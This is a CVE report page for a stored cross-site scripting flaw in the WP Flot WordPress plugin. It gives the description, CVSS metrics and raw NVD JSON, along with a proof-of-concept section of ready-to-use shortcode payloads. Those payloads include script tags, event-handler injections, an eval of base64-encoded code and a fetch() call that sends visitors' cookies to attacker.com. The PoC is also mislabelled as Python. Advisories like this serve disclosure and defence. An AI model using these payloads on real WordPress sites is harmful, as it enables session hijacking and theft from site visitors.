Security Vulnerability Report
中文
CVE-2025-13906 CVSS 6.4 MEDIUM

CVE-2025-13906

Published: 2025-12-12 04:15:44
Last Modified: 2026-04-15 00:35:42

Description

The WP Flot plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'linechart' shortcode in all versions up to, and including, 0.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Flot plugin <= 0.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-13906: Stored XSS via linechart shortcode --> <!-- This PoC demonstrates the XSS vulnerability in WP Flot plugin --> <!-- Method 1: Via WordPress Shortcode --> <!-- Attacker with Contributor+ role can inject this shortcode in any post/page --> [linechart data='<script>alert("XSS")</script>' /] <!-- Method 2: More sophisticated payload --> [linechart xaxis='" onfocus="alert(document.cookie)" autofocus="' yaxis='test' /] <!-- Method 3: Image onerror payload --> [linechart data='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>' /] <!-- Method 4: Stored XSS via shortcode attributes --> [linechart title='<svg/onload=eval(atob("YWxlcnQoJ1hTUycpOw=="))>'] <!-- WordPress REST API exploitation (if enabled) --> <!-- POST /wp-json/wp/v2/posts/1 --> <!-- {"content": "[linechart xaxis=\"<script>alert(document.domain)</script>\"]"} -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13906", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:43.787", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Flot plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'linechart' shortcode in all versions up to, and including, 0.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-flot/tags/0.2.2/wpflot.php#L101", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-flot/trunk/wpflot.php#L101", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b4905ca1-3096-45c5-838b-1237888fb969?source=cve", "source": "[email protected]"}]}}